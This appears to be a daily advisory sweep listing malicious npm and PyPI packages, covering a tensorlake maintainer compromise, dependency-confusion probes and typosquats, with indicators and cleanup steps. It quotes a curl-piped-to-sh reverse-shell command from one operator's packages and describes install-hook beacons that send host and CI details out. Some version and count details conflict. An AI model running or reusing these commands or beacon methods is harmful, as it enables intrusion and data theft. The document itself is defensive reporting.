# GitHub Advisory malware sweep - 2026-10-08 (named compromise carve-out: `tensorlake@0.5.144` maintainer-account compromise; plus npm `internallib_v788` wave-3 continuation of the `internallib_v<N>` RFC1918 reverse-shell operator; new npm `troubleshooting`/`browser-metrics-plugin.contrib` dep-confusion probe from `xwise8887` with HTTP beacon to `185.158.107.175:8787`; new npm `personio-pipeline-projen` dep-confusion probe from `reaperhackbot256f` with `oast.fun`+`oastify.com` DNS/HTTPS exfil; new npm `imgbundle`+`cdn-img-fetch` img-themed sleeper cluster from `malfexteste2`; npm `function-color@1.7.3`+`function-flag@1.7.3` 2025-08-04 backfilled low-version sideload sleepers caught today; 3-package npm `@ikyyjee/ikkysingle`/`ikyysingle`/`ikyysinggle` typosquat burst; 2 Amazon-Inspector namespace-holder takedowns `windows_registry_editor`/`store-webpack-config`; and 5 CWE-506 boilerplate takedowns)

> GHSA 2026-10-08: 20 fresh malware advisories across 9 clusters (19 npm, 1 pypi carried forward from end-of-day yesterday). The dominant story is the **tensorlake maintainer-account compromise** (`tensorlake@0.5.144` published one patch above the real `0.5.143` latest of the official TensorLake AI SDK - [carved out as its own named incident](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise)). Also: wave-3 of the `internallib_v<N>` RFC1918 reverse-shell operator (`internallib_v788`); two new dep-confusion probes with confirmed network beacons; a 2-package img-themed sleeper cluster; two 2025-08-04 sideload sleepers (`function-color`/`function-flag@1.7.3`) caught today; and a 3-package `@ikyyjee` typosquat burst.

- Published: 2026-10-08
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm
- Scope: 19 packages, 36 compromised versions
- Tags: typosquat, dependency-confusion, credential-theft, maintainer-takeover, account-takeover, dns-exfiltration
- Also known as: 2026-10-08 GHSA sweep, tensorlake 0.5.144 maintainer compromise (carved out), internallib_v788 RFC1918 reverse-shell operator wave 3, troubleshooting browser-metrics-plugin.contrib xwise8887 dep-confusion, personio-pipeline-projen reaperhackbot256f dep-confusion, @ikyyjee typosquat burst, imgbundle cdn-img-fetch malfexteste2 cluster, function-color function-flag 1.7.3 backfilled sideload sleeper
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, kam193/bad-packages, npm security
- Incident ID: multi-2026-10-08-ghsa-malware-sweep

## Affected packages (19)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@ikyyjee/ikkysingle](https://dependencywatch.io/package/npm/@ikyyjee/ikkysingle) | npm | 1.0.0 |
| [@ikyyjee/ikyysinggle](https://dependencywatch.io/package/npm/@ikyyjee/ikyysinggle) | npm | 1.0.0 |
| [@ikyyjee/ikyysingle](https://dependencywatch.io/package/npm/@ikyyjee/ikyysingle) | npm | 1.0.0 |
| [browser-metrics-plugin.contrib](https://dependencywatch.io/package/npm/browser-metrics-plugin.contrib) | npm | 0.0.1, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 99.0.1 |
| [cdn-img-fetch](https://dependencywatch.io/package/npm/cdn-img-fetch) | npm | 1.0.0, 1.0.3 |
| [function-color](https://dependencywatch.io/package/npm/function-color) | npm | 1.0.0, 1.7.3 |
| [function-flag](https://dependencywatch.io/package/npm/function-flag) | npm | 1.7.3 |
| [imgbundle](https://dependencywatch.io/package/npm/imgbundle) | npm | 1.0.0, 1.0.1, 1.0.2 |
| [internallib_v788](https://dependencywatch.io/package/npm/internallib_v788) | npm | 1.0.1 |
| [personio-pipeline-projen](https://dependencywatch.io/package/npm/personio-pipeline-projen) | npm | 1.171.31 |
| [random-certs](https://dependencywatch.io/package/npm/random-certs) | npm | 0.0.1 |
| [spf-analytics](https://dependencywatch.io/package/npm/spf-analytics) | npm | 1.0.0 |
| [store-webpack-config](https://dependencywatch.io/package/npm/store-webpack-config) | npm | 0.0.1-security, 1.0.0 |
| [tailwindcss-animatecss-keyframes](https://dependencywatch.io/package/npm/tailwindcss-animatecss-keyframes) | npm | 1.0.0 |
| [tensorlake](https://dependencywatch.io/package/npm/tensorlake) | npm | 0.5.144 |
| [troubleshooting](https://dependencywatch.io/package/npm/troubleshooting) | npm | 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1 |
| [vectorizers](https://dependencywatch.io/package/npm/vectorizers) | npm | 1.0.0 |
| [waie-crash-baileys](https://dependencywatch.io/package/npm/waie-crash-baileys) | npm | 1.0.0 |
| [windows_registry_editor](https://dependencywatch.io/package/npm/windows_registry_editor) | npm | 0.0.1-security, 1.0.0 |

## What happened

Between roughly 2026-10-07 11:00 UTC (end of yesterday`s sweep window) and 2026-10-08 11:00 UTC, the GitHub Advisory Database (via OpenSSF `malicious-packages`, Amazon Inspector`s IN-MAL feed, and `kam193/bad-packages`) published 20 fresh malware advisories: 19 npm and 1 pypi (the pypi one, `lore-cs`, straddled yesterday`s cut and is listed in both sweeps).

**The dominant signal today is the tensorlake maintainer-account compromise** - malicious `tensorlake@0.5.144` published to npm one patch above the real TensorLake AI `0.5.143` latest and quarantined by npm security. Because the compromise affects a legitimate package with 100 published releases, four maintainers, and active CLI-shipping consumers (`tl`, `tensorlake`, `function-executor`, `tensorlake-deploy`), it is carved out into its own named record at [npm-2026-10-08-tensorlake-maintainer-compromise](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise), per the sweep carve-out rule in the schema docs.

The rest of the sweep breaks into **9 clusters by operator profile and payload family**:

## Carve-out: npm `tensorlake@0.5.144` (compromise, critical)

GHSA-rqxj-g25x-4v9v, boilerplate CWE-506 body (no IOC published), but the operator profile is a canonical npm maintainer-account compromise: patch-above-latest, legitimate package, four TensorLake AI maintainers never issued that version. Full detail and remediation at [npm-2026-10-08-tensorlake-maintainer-compromise](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise).

## Cluster A - npm `internallib_v788` wave-3 continuation

`internallib_v788@1.0.1` (GHSA-8pvp-4qvp-26m7, published 2026-10-08 00:51Z, quarantined 2026-10-08 01:50Z by `npm@npmjs.com`). The GHSA body is CWE-506 boilerplate with no fresh IOC, but on operator continuity it is wave 3 of the `internallib_v<N>` dep-confusion operator that shipped `v275`→`10.0.49.106:443` on 2026-10-05 and `v23/30/86/875`→`10.0.19.80:{443,4443,8443}` on 2026-10-07 - each prior wave`s sibling packages exported a `command()` function that executed `/bin/bash -c "curl https://reverse-shell.sh/<RFC1918>:<PORT> | sh"` to a different RFC1918 subnet. The `_v788` suffix fits the sequential naming convention. Classify `dependency-confusion`, severity `high`.

## Cluster B - npm `troubleshooting`+`browser-metrics-plugin.contrib` dep-confusion from `xwise8887`

| Package | Versions | GHSA | OSV | Beacon |
|---|---|---|---|---|
| `troubleshooting` | 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1 | GHSA-42gg-4m94-8m7w | MAL-2026-17641 | `http://185.158.107.175:8787/_ah/dc` |
| `browser-metrics-plugin.contrib` | 0.0.1, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 99.0.1 | GHSA-qxf4-wgfv-6mvr | MAL-2026-17640 | `http://185.158.107.175:8787/_ah/dc` |

Both packages published between 2026-10-07 00:01 and 00:07 UTC under npm account `xwise8887`; both removed from the registry entirely by takedown time (`latest: None` on the registry metadata). Every version carries a `postinstall` hook running `node beacon.cjs` that POSTs `{ hostname, installPath, cwd }` to the plain-HTTP collector; `index.js` exports a Proxy returning no-op functions so builds that import the module keep running without errors (which keeps the beacon in-place longer).

`99.0.1` as the top version and the `_ah/dc` collector path are typical of a bug-bounty-flavoured dep-confusion probe, but the exposure is public-npm. Classify `dependency-confusion`, severity `medium`.

## Cluster C - npm `personio-pipeline-projen` dep-confusion from `reaperhackbot256f`

`personio-pipeline-projen@1.171.31` (GHSA-ph63-hxpv-5cwm, OSV MAL-2026-17642, published 2026-10-07 by npm account `reaperhackbot256f`). The advisory itself describes the package as an "authorized dependency-confusion proof-of-concept" (the OpenSSF record), but the beacons go to externally-controlled OAST endpoints. The `preinstall` hook runs `node canary.js`:

- **DNS exfiltration**: encodes `hostname`, `username`, CI-variable names, and project identifiers into a DNS label and resolves `<label>.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun`
- **HTTPS callback**: issues a GET to `https://hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com`

The `personio-*` scope and the `-projen` suffix (Projen is used in Personio's CI pipeline tooling) are the dep-confusion target hint. Package was removed from the registry entirely. Classify `dependency-confusion`, severity `medium`.

## Cluster D - 3-package npm `@ikyyjee/*` typosquat burst

- `@ikyyjee/ikkysingle` all versions (GHSA-84vp-jj79-gp79, published 2026-10-07 15:31Z)
- `@ikyyjee/ikyysingle` all versions (GHSA-jq3m-36mx-2xch, published 2026-10-07 15:32Z)
- `@ikyyjee/ikyysinggle` all versions (GHSA-7cp5-9c7x-jc22, published 2026-10-07 15:31Z)

All three published within one minute by the same operator, all three quarantined by npm-support within 5 minutes. The three near-identical spellings (`ikkysingle` / `ikyysingle` / `ikyysinggle`) are an autocomplete trap. No payload analysis published. Classify `typosquat`, severity `medium`.

## Cluster E - 2-package npm `imgbundle`+`cdn-img-fetch` img-themed sleeper cluster

| Package | Versions | GHSA | First publish | Maintainer |
|---|---|---|---|---|
| `imgbundle` | 1.0.0, 1.0.1, 1.0.2 | GHSA-hj6h-6xgx-mpjv | 2026-09-30 03:29Z | npm-quarantined |
| `cdn-img-fetch` | 1.0.0, 1.0.3 | GHSA-v3rj-w7v4-jcfx | 2026-09-26 02:18Z | `malfexteste2@pescaria.guinado.3o@icloud.com` |

The `imgbundle@1.0.1` and `cdn-img-fetch@1.0.3` releases both land at 2026-09-30 03:43Z (same minute), and `imgbundle@1.0.2` and `cdn-img-fetch@1.0.4` both land at 2026-09-30 23:07-23:08Z (same minute). That timing fingerprint confirms a single operator co-publishing from the same tooling. **Note: `cdn-img-fetch@1.0.4` is still live under its original `malfexteste2` maintainer** - only `imgbundle` has been fully quarantined, and only versions `1.0.0`/`1.0.3` of `cdn-img-fetch` are flagged in the advisory. No payload analysis published. Classify `malicious-package`, severity `medium`.

## Cluster F - 2-package npm `function-*@1.7.3` 2025-08-04 backfilled sideload sleepers

| Package | Flagged versions | GHSA | Flagged release | Latest clean |
|---|---|---|---|---|
| `function-color` | 1.0.0, 1.7.3 | GHSA-m6cg-6crx-mggv | `1.7.3` 2025-08-04 18:20Z | npm-quarantined |
| `function-flag` | 1.7.3 | GHSA-ggcg-4pv7-wf9m | `1.7.3` 2025-08-04 17:28Z | `4.0.0` under `jessica-fruett` |

`function-flag` has a legitimate 2.3.x line from 2024-06-30 and 3.0.0/4.0.0 from 2025-07-18; the attacker published `1.7.3` **below** `4.0.0` as a dormant low-version sideload. Any consumer with `function-flag@^1` or `function-flag@~1.7` or `function-flag@*` constraint and no lockfile pin resolves the malicious tarball while an audit of the `latest` dist-tag sees only `4.0.0`.

The two packages share the `tuamaeaquelaursa.com` publisher email domain and were released 52 minutes apart on the same day in 2025. The 14-month gap between first publish and GHSA takedown confirms the dormant-sleeper playbook. No IOC body published. Classify `malicious-package`, severity `medium`.

## Cluster G - 2 npm Amazon-Inspector namespace-holder takedowns

- `windows_registry_editor` versions `0.0.1-security`, `1.0.0` (GHSA-mmx2-rhc3-vg25, OSV MAL-2025-49244, source-record identifier `b0bcad8f2c4bdd8438d2826d78f285454aa72dc719c9fb7d52a74928c5b999d0`)
- `store-webpack-config` versions `0.0.1-security`, `1.0.0` (GHSA-v9x4-6r9x-f7mf, OSV MAL-2025-49241, source-record identifier `13f10add046b94b627520507423f73982964e7be0734c7b4909acee5710f1e7e`)

Both packages were originally quarantined to `0.0.1-security` by npm on 2025-10-29 (over 11 months ago); GHSA ingested the Amazon-Inspector detection today as formal advisories. **The 64-character hex strings on these advisories are OSV source-record identifiers, not malware payload hashes** - do not route them to a file-hash IOC feed. Classify `malicious-package`, severity `medium`.

## Cluster H - 5 npm CWE-506 boilerplate takedowns

- `tailwindcss-animatecss-keyframes` all versions (GHSA-3g68-5jcj-q8rx) - **typosquat** of the real `tailwindcss-animatecss` dev-dependency (Tailwind + Animate.css adaptor)
- `spf-analytics` all versions (GHSA-fj97-8h42-crgr)
- `random-certs` all versions (GHSA-2cfv-92gp-9f6m)
- `vectorizers` all versions (GHSA-q8rg-7mvv-2c63)
- `waie-crash-baileys` all versions (GHSA-5r5f-v5vv-289q) - name suggests a WhatsApp-**Baileys** crash/DoS tool (the Baileys WhatsApp library is a repeat target of malicious npm "lure" packages)

All five are standard GHSA auto-ingest boilerplate: "Any computer that has this package installed or running should be considered fully compromised" with no payload hash, no network IOC, and "No known source code" preserved. All five are now npm-quarantined. Classify `tailwindcss-animatecss-keyframes` as `typosquat`; the rest as `malicious-package`; severity `medium`.

## Cluster I - pypi `lore-cs@1.0.0` (carried forward)

`lore-cs@1.0.0` (GHSA-r95v-h8pf-wxhj, published late 2026-10-07) - OpenSSF `GENERIC-hackerone-bugbounty` dep-confusion probe exfiltrating IP + username on install/import. Also catalogued in [yesterday's 2026-10-07 sweep](https://dependencywatch.io/incident/multi-2026-10-07-ghsa-malware-sweep) under Cluster E; relisted here because the publish time (23:58 UTC) straddled the window boundary. Classify `dependency-confusion`, severity `medium`.

## Registry state

All packages in this sweep except `cdn-img-fetch` (still live under `malfexteste2` at `1.0.4`) and the carved-out `tensorlake` (official package, legitimate maintainers in control; only the malicious `0.5.144` tarball was pulled) are registry-quarantined at time of writing. Active operator-side infrastructure named in today`s batch:

- `185.158.107.175:8787/_ah/dc` plain-HTTP beacon - Cluster B (`xwise8887`)
- `*.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun` DNS exfiltration subdomain - Cluster C (`reaperhackbot256f`)
- `hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com` HTTPS callback - Cluster C (`reaperhackbot256f`)
- `tuamaeaquelaursa.com` publisher email domain - Cluster F sleeper operator
- `malfexteste2@pescaria.guinado.3o@icloud.com` publisher account - Cluster E (`cdn-img-fetch` still live under this maintainer)
- OpenSSF `GENERIC-hackerone-bugbounty` campaign tag - Cluster I

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`, `kam193/bad-packages`, `npm security`. Per-package IOC details drawn from GHSA advisory bodies and npm registry metadata between 2026-10-07 11:00 UTC and 2026-10-08 11:00 UTC.

## Impact

- **Named carve-out - npm `tensorlake@0.5.144` maintainer-account compromise (compromise, critical)**: `tensorlake@0.5.144` was published to npm on 2026-10-08 exactly one patch above the real TensorLake AI `0.5.143` latest and quarantined by npm security the same day (GHSA-rqxj-g25x-4v9v). The upstream package is the official TensorLake AI document-ingestion / sandbox CLI/SDK (`tensorlake.ai`) with 100 published releases across four maintainers (`diptanuc`, `calavera`, `sumit-tensorlake`, `cooleel`). Classified `compromise`, severity `critical`, with the full IOC analysis and remediation in [npm-2026-10-08-tensorlake-maintainer-compromise](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise). This record stays listed in the sweep for discoverability from the daily index page, but the authoritative detail is in the named file
- **Cluster A - npm `internallib_v788` wave-3 continuation of the `internallib_v<N>` RFC1918 reverse-shell operator (dependency-confusion, confirmed exported reverse-shell function - same operator-profile fingerprint as yesterday`s 4-package `v23/30/86/875` cluster and the 2026-10-05 `v275` single)**: `internallib_v788@1.0.1` (GHSA-8pvp-4qvp-26m7, published 2026-10-08). Same `internallib_v<N>` naming convention and almost-certainly the same operator`s pentest tooling re-emerging on wave 3. The 2026-10-07 batch targeted RFC1918 `10.0.19.80` across ports `443`/`4443`/`8443`; the 2026-10-05 batch hit `10.0.49.106:443`. The 2026-10-08 `v788` advisory itself is CWE-506 boilerplate with no fresh IOC body, but on operator continuity it continues the pentest-pattern `internallib_v<N>` → `reverse-shell.sh` dep-confusion profile. Classified `dependency-confusion`, severity `high` (operator continuity: prior sibling packages shipped confirmed reverse shells)
- **Cluster B - 2-package npm `troubleshooting`+`browser-metrics-plugin.contrib` dep-confusion probe from `xwise8887` with HTTP beacon to `185.158.107.175:8787/_ah/dc` (dependency-confusion, confirmed install-time beacon)**: `troubleshooting` versions `0.1.0`, `1.0.0`, `1.0.1`, `1.1.0`, `2.0.1`, `3.0.0`, `99.0.1` (GHSA-42gg-4m94-8m7w) and `browser-metrics-plugin.contrib` versions `0.0.1`, `1.0.0`, `1.0.1`, `1.1.0`, `2.0.1`, `99.0.1` (GHSA-qxf4-wgfv-6mvr), both published by npm account `xwise8887` between 2026-10-07 00:01-00:07 UTC. Each version carries a `postinstall` hook running `node beacon.cjs` that POSTs `{ hostname, installPath, cwd }` in plain HTTP to `http://185.158.107.175:8787/_ah/dc`; `index.js` exports a Proxy returning no-op functions so builds that import the module keep running. OSV records MAL-2026-17641 and MAL-2026-17640 respectively. Both packages have been removed from the registry entirely. The `99.0.1` sentinel version and the `_ah/dc` collector path strongly suggest a bug-bounty-flavoured dep-confusion probe at a specific target org, but the probe reaches public npm and any external org with a lockfile hit is exposed. Classified `dependency-confusion`, severity `medium` (confirmed install-time hostname/path exfil, plain-HTTP collector, no second-stage disclosed)
- **Cluster C - npm `personio-pipeline-projen` dep-confusion probe from `reaperhackbot256f` with `oast.fun` DNS exfil + `oastify.com` HTTPS callback (dependency-confusion, confirmed install-time credential-env recon via `preinstall` hook, bug-bounty flavoured)**: `personio-pipeline-projen@1.171.31` (GHSA-ph63-hxpv-5cwm, published 2026-10-07 by npm account `reaperhackbot256f`). The `preinstall` hook runs `node canary.js`, which collects `hostname`, `username`, CI-variable names, and project identifiers; encodes them into a DNS label and resolves `<label>.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun` (OAST canary subdomain); then also issues an HTTPS GET to `hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com` as a second confirmation beacon. OSV record MAL-2026-17642. Package removed from the registry entirely. The `personio-*` scope and the `-projen` suffix (Projen is Personio's pipeline tooling) imply an authorised Personio bug-bounty engagement, but any external org with a hit is exposed. Classified `dependency-confusion`, severity `medium` (confirmed install-time recon with CI-variable enumeration, no destructive payload disclosed)
- **Cluster D - 3-package npm `@ikyyjee/ikkysingle`+`@ikyyjee/ikyysingle`+`@ikyyjee/ikyysinggle` typosquat scope-burst (typosquat, no payload analysis published)**: `@ikyyjee/ikkysingle` (GHSA-84vp-jj79-gp79), `@ikyyjee/ikyysingle` (GHSA-jq3m-36mx-2xch), `@ikyyjee/ikyysinggle` (GHSA-7cp5-9c7x-jc22) - all three versions `>=0`, all three published 2026-10-07 at 15:31-15:32 UTC and quarantined by npm-support within 5 minutes. Three near-identical misspellings of the same base name under the same `@ikyyjee` scope strongly suggest an autocomplete-trap typosquat burst at a single engineering team. Classified `typosquat`, severity `medium` (CWE-506 takedown, no published IOC)
- **Cluster E - 2-package npm `imgbundle`+`cdn-img-fetch` img-themed sleeper cluster from `malfexteste2` (malicious-package, inferred co-publication operator profile - time-aligned releases on 2026-09-30 and 2026-10-07, no payload analysis published)**: `imgbundle` versions `1.0.0`, `1.0.1`, `1.0.2` (GHSA-hj6h-6xgx-mpjv, published 2026-09-30 03:29Z / 03:43Z / 23:08Z, quarantined 2026-10-07) and `cdn-img-fetch` versions `1.0.0`, `1.0.3` (GHSA-v3rj-w7v4-jcfx, with the still-live maintainer-controlled `cdn-img-fetch@1.0.3` published 2026-09-30 03:43Z and `1.0.4` published 2026-09-30 23:07Z under `malfexteste2@pescaria.guinado.3o@icloud.com`). The release times line up to the minute between `imgbundle@1.0.1` (2026-09-30 03:43Z) and `cdn-img-fetch@1.0.3` (2026-09-30 03:43Z), and between `imgbundle@1.0.2` (2026-09-30 23:08Z) and `cdn-img-fetch@1.0.4` (2026-09-30 23:07Z) - these are co-published from the same tooling. Only `imgbundle` has been fully quarantined; `cdn-img-fetch` is still live under its original maintainer at `1.0.4`. The `-img-` theme is a dev-tooling / CDN lure. Classified `malicious-package`, severity `medium` (co-publication timing confirms shared operator; no IOC body published yet)
- **Cluster F - 2-package npm `function-color@1.7.3`+`function-flag@1.7.3` backfilled low-version sideload sleepers (malicious-package, dormant for 14 months before takedown)**: `function-color` versions `1.0.0` and `1.7.3` (GHSA-m6cg-6crx-mggv, with `1.0.0` published 2025-07-18 02:39Z and `1.7.3` published 2025-08-04 18:20Z, both quarantined 2026-10-07) and `function-flag@1.7.3` (GHSA-ggcg-4pv7-wf9m, published 2025-08-04 17:28Z under maintainer `jessica-fruett@tuamaeaquelaursa.com`). `function-flag` has a legitimate 2.3.x line from 2024-06-30 and 3.0.0/4.0.0 from mid-July 2025, so the attacker published the malicious `1.7.3` **below** the latest `4.0.0` as a low-version sideload - a consumer with `function-flag@^1` or `function-flag@~1.7` resolves the malicious tarball while an audit against the `latest` dist-tag sees only `4.0.0`. The time alignment between `function-flag@1.7.3` (2025-08-04 17:28Z) and `function-color@1.7.3` (2025-08-04 18:20Z) and the shared `tuamaeaquelaursa.com` publisher email domain mark the two as a single operator. The 14-month gap between first publish and GHSA takedown confirms the dormant-sleeper playbook. No IOC body published yet. Classified `malicious-package`, severity `medium` (dormant for 14 months, low-version sideload fingerprint, no destructive payload disclosed)
- **Cluster G - 2 npm Amazon-Inspector namespace-holder takedowns `windows_registry_editor`+`store-webpack-config` (malicious-package, no payload analysis published - the SHA-256 hashes in GHSA are OSV source-record identifiers not malware payload hashes)**: `windows_registry_editor` versions `0.0.1-security`, `1.0.0` (GHSA-mmx2-rhc3-vg25, source identifier `b0bcad8f2c4bdd8438d2826d78f285454aa72dc719c9fb7d52a74928c5b999d0`, OSV MAL-2025-49244) and `store-webpack-config` versions `0.0.1-security`, `1.0.0` (GHSA-v9x4-6r9x-f7mf, source identifier `13f10add046b94b627520507423f73982964e7be0734c7b4909acee5710f1e7e`, OSV MAL-2025-49241). Both packages were originally quarantined to `0.0.1-security` by npm on 2025-10-29; GHSA ingested the Amazon-Inspector detection a year later on 2026-10-07 as formal advisories. No live malicious tarball on the registry today. Classified `malicious-package`, severity `medium` (year-old npm-held namespace, Amazon-Inspector sourced, no fresh exposure window)
- **Cluster H - 5 npm CWE-506 boilerplate takedowns, all `>=0` all-versions npm-quarantined, no IOCs published**: `tailwindcss-animatecss-keyframes` (GHSA-3g68-5jcj-q8rx - typosquat of the real `tailwindcss-animatecss` dev-dependency, autocomplete trap for Tailwind + Animate.css users), `spf-analytics` (GHSA-fj97-8h42-crgr), `random-certs` (GHSA-2cfv-92gp-9f6m), `vectorizers` (GHSA-q8rg-7mvv-2c63), `waie-crash-baileys` (GHSA-5r5f-v5vv-289q - name suggests a WhatsApp-Baileys crash/DoS tool, which maps to a known category of malicious npm "lures" against the Baileys WhatsApp library user base). Classified respectively `typosquat`+`malicious-package`+`malicious-package`+`malicious-package`+`malicious-package`, severity `medium` (CWE-506 takedown with no published analysis)
- **Cluster I - pypi `lore-cs@1.0.0` HackerOne-bugbounty dep-confusion probe (dependency-confusion, confirmed install/import-time IP+username beacon, PROBABLY_BUGBOUNTY labelled by OpenSSF - carried forward from end-of-window on 2026-10-07)**: `lore-cs@1.0.0` (GHSA-r95v-h8pf-wxhj, published 2026-10-07 23:58 UTC, falls within today`s window). OpenSSF campaign tag `GENERIC-hackerone-bugbounty`. Also listed in [yesterday's 2026-10-07 sweep](https://dependencywatch.io/incident/multi-2026-10-07-ghsa-malware-sweep) under Cluster E; relisted here because it lands in both windows. Classified `dependency-confusion`, severity `medium`
- **Operator continuity check**: today`s dominant story is the **tensorlake maintainer compromise**, carved out into its own named record above. On the sweep side, the only wave-N continuation is the **`internallib_v<N>` operator** (Cluster A), now at wave 3 - 2026-10-05 shipped `v275`→`10.0.49.106`, 2026-10-07 shipped `v23/30/86/875`→`10.0.19.80`, 2026-10-08 ships `v788`. The **Wix dep-confusion operator** (yesterday`s Cluster B with `css-jptvix-polyfill` + `appsecc.com/js`), the **jsonspack.com pino-impersonator** (yesterday`s Cluster A `hardhat-init`), the **Pinecone tarball-URL RCE operator** (yesterday`s Cluster C `@pinecone-experience/messages`), the 2026-10-05 broader operator profiles (`hellscripter`/gitflic.ru, Oleh-Modal wallet-phishing, `4444.vbs` ChaCha20 loader), the RubyGems [Ethereum/crypto wgkit cluster](https://dependencywatch.io/incident/rubygems-2026-10-05-eth-crypto-wgkit-cluster), the `zencleaner`/`virgil-cli` 2026-10-06 operators, the `2026-10-voxeval` cryptominer campaign, and the `amel10`, `jexkcode`/`noverojs`, `spo365-graph`, `Graphalgo`, `donutautosellsrc`/`aseity*`, `kartyk*`, `tailwind-forms-kit`, `chinazhangsan.ccwu.cc`, `bfox-build-utils`, `fabric-loader-core`/`mfahelper`, `zeal-utils`/`aveliscare` operators are all QUIET today

## What to do

1. **For the carved-out `tensorlake@0.5.144` maintainer compromise**: see the dedicated record at [npm-2026-10-08-tensorlake-maintainer-compromise](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise) for the full remediation walk-through. Short version: pin `tensorlake` to `0.5.143` exact, grep lockfiles and node_modules for `0.5.144`, treat any installer host that resolved `0.5.144` as potentially executed-against, rotate npm/GitHub/cloud credentials, and flush any mirror cache that holds the removed tarball
2. **For Cluster A (`internallib_v788`)**: continuation of the pentest-pattern `internallib_v<N>` dep-confusion probe. If your org publishes under an `internallib_v<N>` internal name, scope-lock the internal registry and hold the public name with a placeholder. If a prior sweep (`v275`, `v23/30/86/875`) is already in your denylist entry, add `v788` to the same entry under the same operator profile
3. **For Cluster B (`troubleshooting`+`browser-metrics-plugin.contrib` xwise8887)**: grep lockfiles for both names. On hit, assume install-time beacon fired to `http://185.158.107.175:8787/_ah/dc`. Add `185.158.107.175:8787` to the CI/build-host egress denylist. The `_ah/dc` path and plain-HTTP transport mark the operator as either a bug-bounty engagement at a specific target OR a crude recon operator - either way, uninstall, delete `node_modules`, delete the lockfile, and rebuild from a scope-locked internal registry. If your org publishes an internal `troubleshooting` or `browser-metrics-plugin.contrib` name, hold the public slug with a placeholder package
4. **For Cluster C (`personio-pipeline-projen` reaperhackbot256f)**: grep lockfiles for `personio-pipeline-projen`. On hit, assume install-time recon fired: hostname, username, CI-variable names, and project identifiers were DNS-exfiltrated to `*.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun` and HTTPS-beaconed to `hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com`. Add `*.oast.fun` apex and `*.oastify.com` apex to the CI/build-host egress denylist (unless your org legitimately runs OAST or Burp Collaborator engagements - in which case scope the block to all operator subdomains that are NOT yours). Rotate any env-exported credentials. If your org`s Personio pipeline tooling publishes under `personio-pipeline-*` internal names, hold the public slug with a placeholder
5. **For Cluster D (`@ikyyjee/*` typosquat burst)**: grep lockfiles for the three names (`@ikyyjee/ikkysingle`, `@ikyyjee/ikyysingle`, `@ikyyjee/ikyysinggle`). On hit, uninstall. No specific IOC published, so no egress blocklist entry today. Teach the real target spelling once identified (the three variants bracket a central spelling of "ikyysingle" / "ikkysingle")
6. **For Cluster E (`imgbundle`+`cdn-img-fetch` img-themed cluster, malfexteste2)**: grep lockfiles for `imgbundle` at `1.0.0/1.0.1/1.0.2` and `cdn-img-fetch` at `1.0.0/1.0.3`. On hit, uninstall. **Note: `cdn-img-fetch` is still live on npm under its original maintainer at `1.0.4`** - treat the whole package as suspect and pin away from this maintainer. If your org publishes any `*-img-*` or `cdn-*` dev-tooling under internal names, scope-lock the internal registry. No specific network IOC published yet
7. **For Cluster F (`function-color@1.7.3`+`function-flag@1.7.3` 2025-08-04 sleepers)**: grep lockfiles for `function-color` at `1.0.0`/`1.7.3` and `function-flag` at `1.7.3`. On hit, uninstall. **Note the low-version-sideload fingerprint**: `function-flag` has a legitimate 2.3.x/3.0.0/4.0.0 line; attackers published `1.7.3` BELOW latest to catch consumers with `function-flag@^1` or `~1.7` constraints. Audit any dependency manifest that pins `function-flag` to a `^1` range and move it to `^4` or exact-version. Treat the `tuamaeaquelaursa.com` publisher email domain as suspect for the broader denylist
8. **For Cluster G (`windows_registry_editor`+`store-webpack-config` namespace holders)**: no live exposure window - these are npm security namespace holds from 2025-10-29 that GHSA formalised today. The 64-character hex values in the GHSA advisories (`b0bcad8f…` and `13f10add…`) are **OSV source-record SHA-256 identifiers from `ossf/malicious-packages`, NOT malware payload hashes** - do not add them to an IOC feed as file-hash blocks. If the names appear in a lockfile, uninstall and move on
9. **For Cluster H (CWE-506 boilerplate takedowns)**: grep lockfiles for `tailwindcss-animatecss-keyframes`, `spf-analytics`, `random-certs`, `vectorizers`, `waie-crash-baileys`. On hit, uninstall, delete `node_modules`, delete lockfile, rebuild. `tailwindcss-animatecss-keyframes` typosquats the real `tailwindcss-animatecss` Tailwind dev-dependency - teach the real spelling. `waie-crash-baileys` is name-suggestive of a WhatsApp-Baileys DoS tool and should be treated as a Baileys-ecosystem lure (same category as prior Baileys-themed malicious packages)
10. **For Cluster I (`lore-cs` pypi)**: grep every `requirements.txt`, `pyproject.toml`, `Pipfile.lock`, `poetry.lock` for `lore-cs`. On hit, uninstall. If this was in fact a HackerOne bug-bounty engagement your org commissioned, de-register the probe. No destructive payload disclosed
